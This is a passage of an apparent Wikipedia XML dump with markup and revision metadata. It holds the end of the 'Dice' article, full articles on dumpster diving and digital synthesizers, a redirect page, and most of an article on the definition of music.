The most common non-cubical dice &amp;mdash; often sold in sets of five or six that are each differently shaped but with the same pair of background and marking colors &amp;mdash; include one each of the five [[Platonic solid]]s, which are highly symmetrical. The six-die versions add the pentagonal [[trapezohedron]], in which the faces (identical to one another as to angles and edge lengths) each have two different lengths of side, and three different sizes of angle; the corners at which multiple faces meet are also of two different kinds.

{| border=&quot;1&quot; cellpadding=&quot;3&quot; style=&quot;border-collapse: collapse;&quot;
|-
!Type
! colspan=&quot;2&quot;|Shape
![[Platonic solid|Platonic]]?!!Notes
|-
|[[Four-sided dice|d4]]||[[tetrahedron]]||[[image:Tetrahedron.jpg|30px|Tetrahedron]]
|Yes||Each face has three numbers: they are arranged such that the upright number (which counts) is the same on all three visible faces. Alternatively, all of the sides have same number in the lowest edge and no number on the top. This die does not roll well and thus it is usually thrown into the air instead.
|-
|d6||[[Cube (geometry)|cube]]||[[image:Hexahedron.jpg|30px|Cube]]||Yes||A common die. The sum of the numbers on opposite faces is seven.
|-
|d8||[[octahedron]]||[[image:Octahedron.jpg|30px|Octahedron]]||Yes||Each face is triangular; looks something like two Egyptian [[pyramid]]s attached at the base. Usually, the sum of the opposite faces is 9.
|-
|[[Ten-sided die|d10]]||[[pentagonal trapezohedron]]||[[image:Trapezohedron5.jpg|30px|Pentagonal trapezohedron]]||No||Each face is [[Geometric kite|kite-shaped]]; five of them meet at the same sharp corner (as at the top of the diagram in this row), and five at another equally sharp one; about halfway between them, a different group of three faces converges at each of ten blunter corners.  The ten faces usually  bear numbers from zero to nine, rather than one to ten, and often all [[odd number]]ed faces converge at the same sharp corner, and the [[even number|even]] ones at the other.
|-
|d12||[[dodecahedron]]||[[image:Dodecahedron.jpg|30px|Dodecahedron]]||Yes||Each face is a regular pentagon.
|-
|d20||[[icosahedron]]||[[image:Icosahedron.jpg|30px|Icosahedron]]||Yes||Faces are [[equilateral triangle]]s. Typically, opposite faces add to twenty-one.
|}

=== Rarer variations ===
{| border=&quot;1&quot; cellpadding=&quot;3&quot; style=&quot;border-collapse: collapse;&quot;
|-
!Type!!Shape!!Notes
|-
|d2
|[[cylinder (geometry)|cylinder]]
|A d2 is not really a die, and is nothing more than a coin shape with 1 marked on one side and 2 on the other.  While some tasks in roleplaying require flipping a coin, it is usually refered to as such, and not as rolling a d2.  It is possible, however, to find d2's of this sort for purchase, but they are rare, and can typically be found among other joke dice.  More frequently, &quot;d2&quot; is rolled by rolling 1d6 with odd-numbered results representing &quot;1&quot; and even-numbered results representing &quot;2&quot;.
|-
|d3
|[[Triangular prism]]
|An extremely rare type of die, the d3 is essentially a rounded-off triangular prism, intended to be rolled like a rolling-pin style die.  The die is rounded-off at the edges to make it impossible for it to somehow land on the triangular sides, which makes it look a bit like a jewel.  When the die is rolled, one edge (rather than a side) appears facing upwards.  On either side of each edge the same number is printed (from 1 to 3).  The numbers on either side of the up-facing edge are read as the result of the die roll.  In addition to this type of &quot;true&quot; d3 it is also possible to find six-sided dice which just repeat the numbers from 1 to 3 twice.  This type of die is just as fair, easier to roll, and much more common than &quot;true&quot; d3's. Another possible shape is the &quot;[[American Football]]&quot; or &quot;[[Rugby ball]]&quot; shape, where the ends are pointed (with rounded points) rather than just rounded.  In most games a standard d6 is used with half of the value (rounded up) being used, effectively 1 and 2 being 1, 3 and 4 being 2 and 5 and 6 being 3.
|-
|d7
|[[Pentagonal prism]]
|A rare die type, thick enough to land either on its &quot;edge&quot; or &quot;face&quot;. When landing on an edge, the topmost edge has pips for 1&amp;ndash;5. The pentagonal faces are labeled with the digits 6 and 7.  Such dice are used in a [[Seven-Sided Backgammon |seven-player variant]] of [[backgammon]]. Some variants have [[heptagon|heptagonal]] ends and rectangular faces. The faces are labeled 1 through 7.
|-
|d12
|[[rhombic dodecahedron]]
|Each face is in the shape of a [[rhombus]].
|-
|d16
|[[octagon|octagonal]] [[bipyramid|dipyramid]]
|Each face is in the shape of an [[isosceles triangle]].
|-
|d24
|[[tetrakis hexahedron]]
|Each face is in the shape of an [[isosceles triangle]].
|-
|d24
|[[deltoidal icositetrahedron]]
|Each face is in the shape of a [[geometric kite]].
|-
|d30
|[[rhombic triacontahedron]]
|Each face is in the shape of a [[rhombus]] (diamond-shaped).
|-
|d100&lt;br /&gt;d%
|[[Zocchihedron]]
|This name is a trademark; true d100s are rare, and they are often [[nickname]]d [[death star]]s due to a passing resemblance to the ''[[Star Wars]]'' structure.  Two d10s can substitute for a d100, especially if one has sides labeled 00, 10, 20, &amp;hellip; 90. Use of this die, (or a replacement such as two different-colored d10s with there being a convention among players as to which of them will count as &quot;tens&quot; and which as &quot;ones&quot;) is referred to as a [[percentile]] roll (d%).
|}

The full geometric set of &quot;uniform fair dice&quot; (with all congruent sides) are:
* [[Platonic solid]]s: 5 regular polyhedra: (4, 6, 8, 12, 20 sides)
* [[Catalan solid]]s: 13 [[Archimedean solid|Archimedean]] duals: (12, 24, 30, 48, 60, 120 sides)
* [[Bipyramid]]s: infinite set of [[Prism (geometry)|prism]] duals, triangle faces: (6, 8, 10, 12, ... sides)
* [[Trapezohedron]]s: infinite set of [[antiprism]] duals, kite faces: (6, 8, 10, 12, ... sides)

Often the names of the dice appear in formulas for calculating game parameters: e.g., hit points. '6d8+10', for example, will yield a number between 16 (6&amp;times;1+10) and 58 (6&amp;times;8+10), as it means 'Roll an eight-sided die six times and add ten to the total of all the rolls'. Occasionally they may be written '10&amp;times;d6+20' or '1d6&amp;times;10+20'; this means 'roll one six-sided die. Multiply it by ten and add twenty', and avoids boring repetitive dice-rolling at the expense of reducing the number of possible results (i.e., 30, 40, 50, 60, 70, and 80 are the only possible outcomes) compared to rolling the die 10 times (yielding any number between 30 and 80).

=== Application in role-playing games ===
[[Image:DnD Dice Set.jpg|thumb|center|500px|Full set of matching dice used in roleplaying: a d4, d6, d8, d12, d20, and two d10s for percentile: ones and tens.]]

The [[fantasy]] [[role-playing game]] ''[[Dungeons &amp; Dragons]]'' introduced the use of polyhedral dice during modern times and paved the way for their use in other role-playing games, using 20, 12, 10, 8 and 4 sided dice in addition to the traditional 6 sided die. 

Players use polyhedral dice together in a number of ways. For example, often a d10 is used in conjunction with a d6 instead of using a d20. If the d6 displays a 1, 2 or 3, the number on the d10 is resolved as 1&amp;ndash;10. If the d6 displays a 4, 5 or 6, the number shown on the d10 is resolved to 11-20 (&quot;1&quot; is 11, &quot;2&quot; is 12, etc.). In cases like this, almost any sided die can be used as a &quot;resolver&quot;.

Two d10 are often used to generate a number between 1 and 100. When tossing these dice, the player indicates which die is &quot;high&quot; (representing the tens position).

== Use of dice for divination ==

Some people believe that dice can be used for [[divination]]. Using dice for such a purpose is called [[cleromancy]].  A pair of standard 6-sided dice is generally used.

Astrological dice are a specialized set of three 12-sided dice for divination, using the concepts of [[astrology]] and containing astrological symbols for the [[planets]], the [[zodiac]] signs and the [[astrological houses]]. The first die represents planets, the [[Sun]], the [[Moon]], and two [[nodes]] (North Node and South Node).  The second die represents the 12 zodiac signs, and the third represents the 12 houses.  In simplified terms, the planets, etc. could represent the 'actor'; the zodiac signs could represent the 'role' being played by the actor; and the house could represent the 'scene' in which the actor plays.

[[Rune dice]] are a specialized set of dice for divination ([[runecasting]]), using the symbols of the [[runes]] printed on the dice.

== See also ==
*[[Fuzzy dice]]
*[[Craps]] - on the casino game.
*[[Liar's dice]] - dice gambling game.
*[[Mexico (game)|Mexico]] - dice gambling game.
*[[pig (dice)|Pig]] - dice gambling game.
*[[Threes]] - street dice game.

== References ==
* Persi Diaconis and Joseph B. Keller. &quot;Fair Dice&quot;. ''The American Mathematical Monthly'', 96(4):337-339, 1989. ''(Discussion of dice that are fair &quot;by symmetry&quot; and &quot;by continuity&quot;.)''
* Bias and Runs in Dice Throwing and Recording: A Few Million Throws. G. R. Iverson. W. H. Longcour, et al. Psychometrika, Vol. 36, No. 1, March 1971
* [[Reiner_Knizia | Knizia, Reiner]] (1999). Dice Games Properly Explained. Elliot Right Way Books. ISBN 0716021129.

== External links ==
* [http://mathworld.wolfram.com/Dice.html MathWorld: Dice] Analysis of dice probabilities.
* [http://www.maa.org/editorial/mathgames/mathgames_05_16_05.html Fair Dice] is an illustrated [http://www.maa.org/news/mathgames.html Math Games] column about all the possible fair dice, and the mathematical reasons why other shapes are not fair.
* [http://www.personal.psu.edu/users/w/x/wxk116/roma/rbgames.html Roman Board Games] ''(See, in particular, [http://www.personal.psu.edu/users/w/x/wxk116/roma/tali.html Tali] and [http://www.personal.psu.edu/users/w/x/wxk116/roma/tesserae.html Tesserae].)''
* [http://hjem.get2net.dk/Klaudius/Dice.htm Properties of Dice] is a page describing all solids that make for provably fair dice.
* [http://www.openroleplaying.org/tools/dieroller/ Openroleplaying.org's automated Die Roller] - allows rolling any combination of any die using standard RPG 'Dice Equations')
* [http://www.dicecollector.com/ Worlds Largest Dice Collection] Links, Photos, Information about dice 

{{1911}}
{{commons|Category:Dice}}
[[Category:Dice|*]]
[[Category:Dice games]]
[[Category:Randomness]]
[[Category:Consumer goods]]

[[bg:Зар]]
[[ca:Dau]]
[[de:Spielwürfel]]
[[es:Dado]]
[[eo:Ĵetkubo]]
[[fr:Dé]]
[[ko:주사위]]
[[hr:Kocka (igra)]]
[[it:Dado (gioco)]]
[[he:קוביית משחק]]
[[la:Alea]]
[[lt:Lošimo kauliukas]]
[[hu:Dobókocka]]
[[nl:Dobbelsteen]]
[[ja:サイコロ]]
[[no:Spillterning]]
[[pl:Kość do gry]]
[[pt:Dado]]
[[ru:Игральная кость]]
[[simple:Dice]]
[[sl:Igralna kocka]]
[[fi:Noppa]]
[[sv:Tärning]]
[[th:ลูกเต๋า]]
[[zh:骰子]]</text>
    </revision>
  </page>
  <page>
    <title>Dumpster diving</title>
    <id>8246</id>
    <revision>
      <id>41876218</id>
      <timestamp>2006-03-02T08:04:56Z</timestamp>
      <contributor>
        <username>Danspalding</username>
        <id>142620</id>
      </contributor>
      <minor />
      <comment>fixed heading formatting</comment>
      <text xml:space="preserve">[[Image:DumpsterDiving.jpg|right|250px]]
'''Dumpster diving''', also called &quot;dumpstering&quot;, &quot;trashing&quot; is a [[North America|North American]] term to describe the practice of rummaging through commercial or residential [[Waste|trash]] to find useful free items that have been discarded. In the [[United Kingdom]], the practice is referred to as &quot;skipping.&quot;  The term originates from the fanciful image of someone leaping into large [[Dustbin|rubbish bins]], the best known of which are produced under the name &quot;[[Dumpster]]&quot;.  These are also known as &quot;[[skip (container)|skips]].&quot;  In practice, dumpstering is more akin to fishing around than diving in.

Food can often be acquired in this manner from [[baker|bakeries]] or [[Supermarket|grocery stores]]. [[Office|Offices]], [[factory|factories]], [[department store|department stores]], and other commercial establishments also sometimes throw out nonperishable items that were returned or have minor damages.

==Overview==
In the [[United States]], [[Canada]], and [[Europe]], supermarkets routinely discard food items before the [[shelf life|expiration date]] because of overstock, minor imperfections or blemishes.  Often, this food is safe for consumption.  It is considered good practice to wash any unpackaged food items.

Dumpster diving can be a spontaneous act upon seeing a useful item in the garbage, a conscious [[Simple living|low-impact]] lifestyle choice (for example, as a part of [[freeganism]]), or a skill acquired by those with few other options to obtain goods or food. Dumpstering is also associated with &quot;curbing&quot;, or rummaging through trash on city sidewalk curbs. Discarded furniture, electronics, appliances, books, and clothing are all commonly found.

Dumpster diving is practiced differently in countries whose commercial disposal practices are different than the United States'.  In many economically developed countries, food is rarely thrown away unless it is rotten.  Charities collect excess food from supermarkets and restaurants and distribute it to the needy. Dumpster divers in these countries may concentrate on looking for antiques or scrap materials to sell.

[[British television]] shows have even featured home renovations and decoration using salvaged materials. ''[[Changing Rooms (TV show)|Changing Rooms]]'' is one such show, broadcast on [[BBC One]]. Recovery of still-useful items from discards is well-known in other cultures as well; [[James Fallows]] noted it in his book written about his time living in [[Japan]].  However, much of the richness attributed to dumpster diving in Japan ended with the collapse of the nation's [[Japanese_asset_price_bubble|economic bubble]] in 1990.

Dumpster diving is a tool for [[garbology|garbologist]]s, who study the  [[sociology]] and [[archeology]] of trash in modern life. There is a major outpost of academic garbology at the [[University of Arizona]], directed for some decades by [[William Rathje]].

Another activity associated with dumpster diving is collecting [[Aluminum can|cans]].  This is when people will go through dumpsters and pick out the alumminum cans, usually soda cans.  These can be sold at some [[Recycling|recycling plants]].  This is also done with [[copper]], [[lead]], and other [[scrap metal]]s.

==Information diving==
In addition to offering useful items like food and clothing, dumpsters can also be a source of information.  Files, letters, memos, photographs, IDs, passwords, credit cards and more can be found in dumpsters.  This is a result of the fact that many people never consider that sensitive items they throw in the trash may be recovered. Of course, using information obtained in a dumpster is illegal in many cases.  (See [[identity theft]].)

Supposedly, information diving was common in the [[1980s]] due to lax security; when businesses became aware of the need for increased security in the early [[1990s]], sensitive documents were [[Paper shredder|shredded]] before being placed in dumpsters. In any case, there is still considerable Internet activity on the subject of dumpster diving, so it is unlikely to have stopped with the widespread introduction of document shredding. Security mythology has it that curious [[hacker]]s or malicious [[black hat|cracker]]s commonly use this technique, but this may be an [[urban legend]] as [[social engineering (computer security)|social engineering]] is often easier.

Dumpster diving is commonly practiced by &quot;[[Consumer protection|watchdog]]&quot; organizations seeking information on groups they are investigating.  [[Trinity Foundation (Dallas)|Trinity Foundation]] successfully used this technique to report on the activities of [[televangelist]] [[Robert Tilton]], and has also obtained information on [[Benny Hinn]] using this practice.  [[Trade unions|Labor unions]] in the United States also use this technique among others to determine who works for a company.  This is a crucial step to organizing a workplace.

==Legal status==
Because dumpsters are usually located on private property, dumpster diving is illegal in some parts of the United States, though the law is enforced with varying degrees of rigor. [[California v. Greenwood|The California v. Greenwood Supreme Court case]] in the U.S. have held that there is no [[common law]] expectation of [[privacy]] for [[post-consumer waste|discarded materials]]. Dumpster diving ''per se'' is probably legal when not specifically mentioned in state or town statutes.

[[Police]] (and possibly other) searches of dumpsters and like discards are not violations; [[Evidence (law)|evidence]] [[Search and seizure|seized]] in this way has been permitted in many [[criminal procedure|criminal trials]]. The doctrine is less well established in regard to [[civil litigation]]. Similarly in the UK, though dumpster diving may qualify as theft within the [[Theft Act 1968]], there is very little enforcement in practice.

[[Private investigator]]s have written books on &quot;PI technique&quot; in which dumpster diving, or its equivalent &quot;[[wastebasket]] recovery,&quot; figure prominently. In Italy, a law issued at the beginning of the new century declared dumpster diving to be legal.

==Trivia==
Popular rap/rock group from the early-mid nineties [[Pseudohoodlum]] glorified the art of dumpster diving with their song &quot;Dumpster Dive&quot; which stated that one can find all that is needed to exist and feel alive &quot;in the dumpster.&quot; Lyrics included &quot;Jump right off the vintage scale, I know a place where there's always a sale... in the dumpster.&quot;

In the [[1960s]], [[Jerry Schneider]] recovered several [[instruction manuals]] from [[The Pacific Telephone &amp; Telegraph Company]], and used the information to steal hundreds of thousands of dollars' worth of [[telephone]] equipment.

The [[Castle Infinity]] game, after its shutdown, was brought back from the dead by rescuing its [[server]]s from trash.

Recently, dumpster diving has been popularized in the book ''[[Evasion_(book)|Evasion]]'', published by [[Crimethinc]].

==Further Reading==
* ''Art and Science of Dumpster Diving'' by [[John Hoffman]]; ISBN 1559500883
* ''Travels with Lizbeth'' by [[Lars Eighner]] (contains a chapter on the topic); ISBN 0449909433
* ''Dumpster Diving: The Advanced Course'' by John Hoffman (brings dumpster diving into the computer era) [[Paladin Press]] 2002; ISBN 158160369X 
* ''The Simple Life'', Berkeley Press (contains a chapter by Hoffman on dumpster diving)
* ''[[Steal This Book]]!'' by [[Abbie Hoffman]] (speaks briefly on dumpster diving in the Free Food chapter)
* ''[[Evasion_(book)|Evasion]]'', [[Crimethinc]] Far East, an autobiography detailing one anarchist's [[shoplifting]]- and dumpster-diving-supported travels
* ''Mongo: Adventures in Trash'' by Ted Botha; ISBN 1582344523

== External links ==
* [http://groups.yahoo.com/group/Ohiodumpsterdivers/ Ohio Dumpster Divers]
* [http://www.dumpsterworld.com/ The Dumpster Diving Forum]
* [http://www.dumpsterdiving.net/ Dumpster Diving] forums and gallery.
* [http://foldoc.doc.ic.ac.uk/foldoc/foldoc.cgi?dumpster+diving Jargon File definition]
* [http://members.aol.com/TheDumpsterLady/thedumpsterlady.htm The Dumpster Lady's FAQ]
* [http://uk.dir.yahoo.com/Recreation/Hobbies/Skip_Diving/ Skip Diving in the Yahoo Hobbies directory]
* See also the [[Usenet]] newsgroup, [http://groups.google.com/groups?group=alt.dumpster alt.dumpster]
* [http://freegan.info/ Freeganism and info on dumpster diving]
* [http://www.emoware.org/dumpster-diving.asp A dumpster diving blog]

[[Category:Cryptographic attacks]]
[[Category:Waste]]
[[Category:Hobbies]]

[[de:Containern]]
[[fi:Roskisdyykkaus]]</text>
    </revision>
  </page>
  <page>
    <title>Digital synthesizer</title>
    <id>8247</id>
    <revision>
      <id>35475192</id>
      <timestamp>2006-01-17T00:48:56Z</timestamp>
      <contributor>
        <ip>85.176.106.60</ip>
      </contributor>
      <text xml:space="preserve">A '''digital synthesizer''' is a [[synthesizer]] that uses [[digital signal processing]] (DSP) techniques to make musical sounds.

The very earliest digital synthesis experiments were made with general-purpose computers, as part of academic research into sound generation.

Early commercial digital synthesizers used simple hard-wired digital circuitry to implement techniques such as [[additive synthesis]] and [[FM synthesis]]. 
Other techniques, such as [[wavetable synthesis]] and [[physical modeling]], only became possible with the advent of high-speed microprocessor and digital signal processing technology. One of the earliest commercial digital synthesizers was the [[Synclavier]].

Some digital synthesizers now exist in the form of &quot;[[Software_synthesizer|softsynth]]&quot; software that synthesizes sound using conventional PC hardware, though they require careful programming and a fast CPU to get the same [[latency]] response as their dedicated equivalents. In order to reduce latency, some professional [[sound card]] manufacturers have developed specialized digital signal processing hardware. Dedicated digital synthesizers frequently have the advantage of onboard accessibility, with switchable front panel controls to peruse their functions, whereas software synthesizers trump their dedicated counterparts with their additional functionality, against the handicap of a [[computer mouse|mouse]]-driven control system.

Digital synthesizers are generally more flexible than [[analog synthesizer]]s, though aficionados claim that an analog synthesizer develops a personal sonic character as it ages. 

== External links ==
* [http://psycle.pastnotecut.org Psycle] a freely downloadable modular software synthesizer and sequencer/tracker (open source and totally free)
* [http://www.buzzmachines.com/ Buzz], a freely downloadable modular software synthesizer (gratis but proprietary)
* [http://sound.media.mit.edu/mpeg4/ MPEG-4 Structured Audio], an MPEG standard for synthesizing sounds
[[Category:Electronic music instruments]]
[[Category:Synthesizers]]
[[ja:&amp;#12487;&amp;#12472;&amp;#12479;&amp;#12523;&amp;#12471;&amp;#12531;&amp;#12475;&amp;#12469;&amp;#12452;&amp;#12470;&amp;#12540;]]</text>
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    <title>Drug of abuse</title>
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      <contributor>
        <username>Jfdwolff</username>
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      <comment>it should have been a redirect, as per Laurel Bush on 31/10</comment>
      <text xml:space="preserve">#REDIRECT [[drug abuse]]</text>
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  <page>
    <title>Definition of music</title>
    <id>8249</id>
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      <id>41974547</id>
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      <comment>Reverted edits by [[Special:Contributions/68.211.179.110|68.211.179.110]] ([[User talk:68.211.179.110|talk]]) to last version by Siroxo</comment>
      <text xml:space="preserve">This article discusses the '''definition of music'''. [[Music]] is an art, entertainment, or other human activity which involves organized and audible sound, though [[definition]]s may vary.

== Overview ==
Defining music is as difficult as defining [[art]] or any other subjective phenomenon. It is a problem that has been tackled at various times by [[philosophy|philosophers]], [[Lexicography|lexicographers]], [[composer]]s, [[teacher]]s, [[semiotics|semioticians]] or semiologists, [[Linguistics|linguists]] and other scientists, students, and various other [[musician]]s.

The elements of music often have an implicit concept of time, pitch, and energy. The presence or lack of these elements can be used to classify music. They can be organized into units with interrelated rhythm, harmony, and melody. Organizing musical [[sound]] is part of [[musical composition|composition]] and [[improvisation]]. Music can invoke or convey a sense of motion in time.

==Etymology==
The word itself comes from the [[Greek language|Greek]] ''mousikê (tekhnê)''   by way of the Latin ''musica''. It is ultimately derived from ''mousa'', the Greek word for [[muses|muse]]. In ancient Greece, the word ''mousike'' was used to mean any of the arts or sciences governed by the Muses.

Later, in Rome, ''ars musica'' embraced [[poetry]] as well as what we now think of as music. Our current understanding of music as being something which is abstract and has nothing to do with language (but something which may be combined with it in song) is relatively modern.

In the European [[Middle Ages]], [[musica]] was part of the mathematical [[quadrivium]] - [[arithmetic]]s, [[geometry]], [[astronomy]] and [[musica]]. The concept of musica was split into three major kinds: [[musica universalis]], [[musica mundana]], [[musica instrumentalis]]. Of those, only the last - musica instrumentalis - referred to music as performed sound. 

[[Musica universalis]] referred to the order of the [[universe]], as [[god]] had created it in &quot;measure, number and weight&quot;. The proportions of the [[sphere]]s of the planets and stars (which at the time were still thought to revolve around the earth) were perceived as a form of music, without necessarily implying that any [[sound]] would be heard - music refers strictly to the mathematical proportions. From this concept later resulted the romantic idea of a music of the spheres. 

[[Musica mundana]] designated the proportions of the [[human body]]. These were thought to reflect the proportions of the Heavens and as such, to be an expression of god's greatness. To Medieval thinking, all things were connected with each other - a mode of thought that finds its traces today in the [[occult sciences]] or [[esoteric thought]] - ranging from [[astrology]] to believing certain [[minerals]] have certain beneficiary effects.

[[Musica instrumentalis]], finally, was the lowliest of the three disciplines and referred to the manifestation of those same mathematical proportions in sound - be it sung or played on instruments. The polyphonic organization of different melodies to sound at the same time was still a relatively new invention then, and it is understandable that the mathematical or physical relationships in [[frequency]] that give rise to the [[musical interval]]s as we hear them, should be foremost among the preoccupations of Medieval musicians.

==Music in other languages==
The languages of many cultures do not include a word for or that would be translated as ''music''. [[Inuit]] and most [[North American Indian]] languages do not have a general term for music, and in [[Africa]] there is no term for music in [[Tiv]], [[Yoruba]], [[Igbo language|Igbo]], [[Efik]], [[Birom]], [[Hausa language|Hausa]], [[Idoma]], [[Eggon]] or [[Jarawa]]. Many other languages have terms which only partly cover what Europeans mean by the term ''music'' (Schafer). The [[Mapuche]] of [[Argentina]] do not have a word for ''music'', but they do have words for instrumental versus improvised forms (''kantun''), European and non-Mapuche music (''kantun winka''), ceremonial songs (''öl''), and ''tayil'' (Robertson 1976: 39).

In [[Czech language|Czech]], ''hudba'' is instrumental music and only by implication [[vocal music]]. Some languages in West Africa have no term for music but the speakers do have the concept (Nettl, 1989).

''Musiqi'' is the [[Persian language|Persian]] word for the science and art of music, ''muzik'' being the sound and performance of music (Sakata 1983), though some things European influenced listeners would include, such as [[Koran]] chanting, are excluded. Actually, there are varying degrees of &quot;musicness&quot;; Koran chanting and [[Adhan]] is not considered music, but classical improvised song, classical instrumental metric composition, and popular dance music are. However, from a European influenced musicological analysis, or from the standpoint of an untrained European influenced listener, Koran chanting is structurally similar to classical singing (Nettl, 1989).

==Music as organized sound==
An oft cited definition of music, made by [[Wynton Marsalis]] among others, is that it is &quot;sound organized in time.&quot; Apart from objections that &quot;organization&quot; is not required, this definition is seen by many as being too broad. The fifteenth edition of the ''Encyclopaedia Britannica'' pinpoints the problem by saying that &quot;while there are no sounds that can be described as inherently unmusical, musicians in each culture have tended to restrict the range of sounds they will admit.&quot; Organization would seem to be a crucial restricting criterion in this context, after all.

&quot;Organization&quot; also seems necessary because it implies ''human'' organization. This human organizing element seems crucial to the common understanding of music. Sounds produced by non-human agents, such as waterfalls or birds, are often described as &quot;musical&quot;, but rarely as &quot;music&quot;.

This definition determines music according to the poetic and the neutral levels (it must be composed sonorities), or more aesthetically, 'the [[art]]ful or pleasing organization of sound and [[silence]]', which determines music according to the esthesic.  This definition is widely held to from the late [[19th century]] forward, which began to [[science|scientifically]] analyze the relationship between sound and [[perception]]. 

Additionally, Schaeffer (1968: 284) describes that the sound of classical music &quot;has decays; it is granular; it has attacks; it fluctuates, swollen with impurities&amp;mdash;and all this creates a musicality that comes before any 'cultural' musicality.&quot; Yet the definition according to the esthesic level does not allow that the sounds of classical music are complex, are noises, rather they are regular, periodic, even, musical sounds. Nattiez (1990, p.47-8): &quot;My own position can be summarized in the following terms: ''just as music is whatever people choose to recognize as such, noise is whatever is recognized as disturbing, unpleasant, or both''.&quot; (see &quot;[[#music as social construct|music as social construct]]&quot; below)'''''

==Music as subjective experience==
Another commonly held definition of music holds that music must be 'pleasant' (determined by the esthesic level) or '[[melodic]]' (determined by the neutral and/or esthesic levels). This view is often used to argue that some kinds of organized sound 'are not music', while others are, based on type of organization or its aesthetic effect. Since the range of what is accepted as music varies from culture to culture and from time to time, more elaborate versions of this definition admit some kind of cultural or social evolution of music, granting that definitions may vary but universals hold. This definition was the predominant one in the [[18th century]], where, for example, [[Mozart]] stated that &quot;music must never forget itself, it must never cease to be music.&quot; One example of shifts in the music/noise dichotomy, what organization is considered musical, is the [[emancipation of the dissonance]], while Luciano Berio (1976) describes how the [[Tristan chord]] was noise in 1859 since it was a sonority unexplainable by contemporary harmonic conventions.

This view of music is most heavily criticized by proponents of the view that music is a social construction (directly below), defined in opposition to &quot;unpleasant&quot; &quot;noise&quot;, though this view may be subsumed in the one below in that a listener's idea of pleasant sounds may be considered socially constructed.

==Music as social construct==
[[Post-modern]] and other theories argue that, like all art, music is defined primarily by [[social]] context.  According to this view, music is what people call music, whether it is a period of [[silence]], [[found sound]]s, or [[performance]]. Famously [[John Cage]]'s work [[4'33&quot;]] is rooted in this conception of music. According to Nattiez, Cage, Kagel, Schnebel, and others, &quot;now perceive  them[certain of their pieces] (even if they do not say so publicly) as a way of &quot;speaking&quot; in music about music, in the second degree, as it were, to expose or denounce the institutional aspect of music's functioning.&quot; (p.43)

Cultural background factors in determining music from noise or unpleasant experiences.  The experience of only being exposed to a particular type of music influences perception of any music. Cultures of European descent are largely influenced by music making use of the [[Diatonic scale]]. Most modern music still uses this scale and due to constant exposure, the music of other cultures is not held with the same regard. What would be accepted as music in [[Indonesia]] may be dismissed by many westerners as just &quot;a din.&quot;

It might be added that as well as cultural background, historical era is also a determining factor in what is regarded as music. What would today be accepted as music in the west without the blinking of an eye, would have been ridiculed in the [[17th century]]. And what would be music to [[The Sex Pistols]]' [[Sid Vicious]], who is said to have commented, &quot;you just pick a chord, go twang, and you've got music,&quot; would almost certainly not have been music to [[William Congreve (playwright)|William Congreve]], who wrote that, &quot;Musick has charms to sooth a savage breast&quot; (''The Mourning Bride'', 1697). All of which is to say that there can be no absolute definition of music that will be accepted by everybody.

Many people do, however, share a general idea of music. The Websters definition of music is a typical example: &quot;the science or art of ordering tones or sounds in succession, in combination, and in temporal relationships to produce a composition having unity and continuity&quot; (''Webster's Collegiate Dictionary'', online edition). There are a number of potential objections to such a definition. 

While some may find this definition too restrictive, arguing that &quot;unity&quot; and &quot;continuity&quot; are unnecessary, it is likely that more will find it too broad, thinking of music as being made of pitched sounds, and containing [[melody]], [[harmony]] and [[rhythm]]. The idea that music must contain these elements is widespread, but there are several examples of what would be widely regarded as music, which lack one or more of them. [[Plainsong]] for instance, or monophonic music in general, has no harmony. Much [[Percussion_instrument|percussion]] music lacks both harmony and melody; it is true that [[drum]]s are tuned, but their pitches are indefinite, and they cannot be said to produce a melody in the traditional sense. If one takes rhythm to mean a regular pulse underpinning music, then many kinds of modern [[electronic music]] can be said to lack rhythm.

Some attempts to define music concentrate on the method of producing it. Even though some of the first &quot;instruments&quot; in prehistory must have been rocks and bits of wood, it is only in the past one hundred years or so that the idea that music could only be produced by a singer or a traditional musical instrument (such as a [[violin]] in Europe, a [[sitar]] in India or a [[koto (musical instrument)|koto]] in Japan) has been challenged. [[Erik Satie]] challenged what constituted a musical instrument, and therefore a musical sound, when he wrote the ballet ''Parade'' which included a part for a typewriter. His justification was that since the typewriter made a noise, it was a musical instrument.  In a lighter vein, [[Leroy Anderson]] also wrote music that included a manual typewriter, played with strict rhythm.  

The composer [[John Cage]] challenged traditional ideas about music in his ''4' 33&quot;'', which is notated as three movements, each marked ''Tacet'' (that is, &quot;do not play&quot;). The implication, as expanded upon by Cage himself, is that the background noises which are normally a distraction from the music (the humming of the lights, the shuffling of the audience, the sound of traffic outside) are to be regarded as the actual music in this case.  Some also consider to be part of the music the potential differences in the collection of sounds present if the piece had been only four minutes, or if it had been five, although Cage may have never intended this interpretation. 

This is contrary to the usual view that music is, if nothing else, deliberate. Furthermore, Cage does not state the length of the piece - the duration of the first performance (given by [[David Tudor]] seated at a [[piano]]) was arrived at by consulting the ''[[I Ching]]'', but it is not stated in the score (although whenever the piece is performed nowadays, the original duration is usually maintained). The total time of [[silence]] is 273 [[second]]s, which has a parallel in the temperature -273 degrees [[Celsius]], [[absolute zero]]. This is pure coincidence, however.

Some people deal with the challenges posed by ''4' 33&quot;'' by simply refusing to consider it as music.

Of course, even in conventional music, the &quot;silent&quot; gaps between notes are part of the music.  The pianist [[Artur Schnabel]], when asked what made him a great pianist, said &quot;The notes I handle no better than many pianists. But the pauses between the notes? Ah, that is where the art resides!&quot; There is also at least one piece of music, a string quartet, in which the players stop suddenly while the sheet music shows a long rest at the end.{{citation needed}}  When skillfully performed, the silence at the end is quite obviously part of the music. In [[Joseph Haydn]]'s ''[[Symphony No. 45 (Haydn)|Symphony No. 45]]'', ''Farewell'', the entire composition anticipates the silence at the end as the musicians one by one stop playing and walk from the stage.

The American composer [[La Monte Young]] took this line of thought to an extreme by suggesting that even [[sound]] itself was not necessary for a piece of music to exist. In ''Composition 1960 #5'', one of a series of similar pieces, he instructed the performer to &quot;Turn a [[butterfly]] (or any number of butterflies) loose in the performance area,&quot; the piece being considered complete when the butterflies have flown away. The choice of a butterfly is significant in that it is perceived as a silent animal. During the performance, there will be background noises, just as there are in a performance of ''4' 33&quot;'', but this is not the thrust of the piece. Rather, Young is interested in the theatrical element of music. 

Young's point in this instance is that when one goes to a performance of a piece of music, seeing the musicians perform is as much a part of the music as hearing them, so why not remove the hearing element altogether? In this sense, his interest is similar to that of [[Mauricio Kagel]], who carefully notates the theatrical element of performance in his works (although he usually maintains a significant sonic element also).

==Music as a category of perception==
